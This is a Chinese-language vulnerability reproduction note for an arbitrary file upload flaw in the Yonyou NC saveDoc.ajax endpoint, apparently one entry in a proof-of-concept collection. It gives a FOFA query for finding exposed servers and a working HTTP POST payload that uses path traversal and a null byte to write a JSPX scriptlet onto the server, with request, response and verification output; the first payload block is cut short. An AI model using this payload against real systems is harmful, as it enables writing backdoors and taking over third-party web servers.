Y4-1用友-NC-文件上传漏洞

漏洞描述:

用友 NC saveDoc.ajax接口处存在任意<u>文件上传漏洞</u>,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。

网站图片:







连接

与企业应用的链接优化,并支持企业应用在终端上的自 验相关的端服务,并对提供的服务进行应用优化。 动升级。

体验 UClient 提供全新客户端,消除浏览器依赖,完成用户 UClient 打造—个面向企业的端服务平台,提供改善体 社交

UClient 通过嵌入社交协同能力,建立企业用户之间的 连接, 提供企业间数据共享和连接的服务, 形成基于化 业服务云平台的企业社交网络。

版权所有© 2015 用友网络科技股份有限公司

网络测绘:

fofa语法:

FOFA: app="用友-UFIDA-NC"

漏洞复现:

payload:

```
POST /uapws/saveDoc.ajax?ws=/../../qazwsx.jspx%00 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Content-Type: application/x-www-form-urlencoded
</hi:scriptlet>
</hi>
```

效果图:

```
〈 〉 数据包扫描 热加载 构造
                                                                                                  Responses Obytes / 51ms
Request
                                                                                                        HTTP/1.1-200-0K
1
      POST / uapws/saveDoc.ajax?ws=/../../qazwsx.jspx%00 HTTP/1.1
                                                                                                        Server: Apache-Coyote/1.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                        Date: Wed, 06 Mar 2024 09:32:13 GMT
      Content-Type: application/x-www-form-urlencoded
      content=<hi xmlns:hi="http://java.sun.com/JSP/Page">
       ··<hi:scriptlet>
       ··········out.println("Hello·World!");new·java.io.File(application.getRealPath(request.
              getServletPath())).delete();
 10
       ··</hi:scriptlet>
      </hi>
 11
```

验证URL

This XML file does not appear to have any style information associated with it. The document tree is shown below.

<hi xmlns:hi="http://java.sun.com/JSP/Page">He110 World! </hi>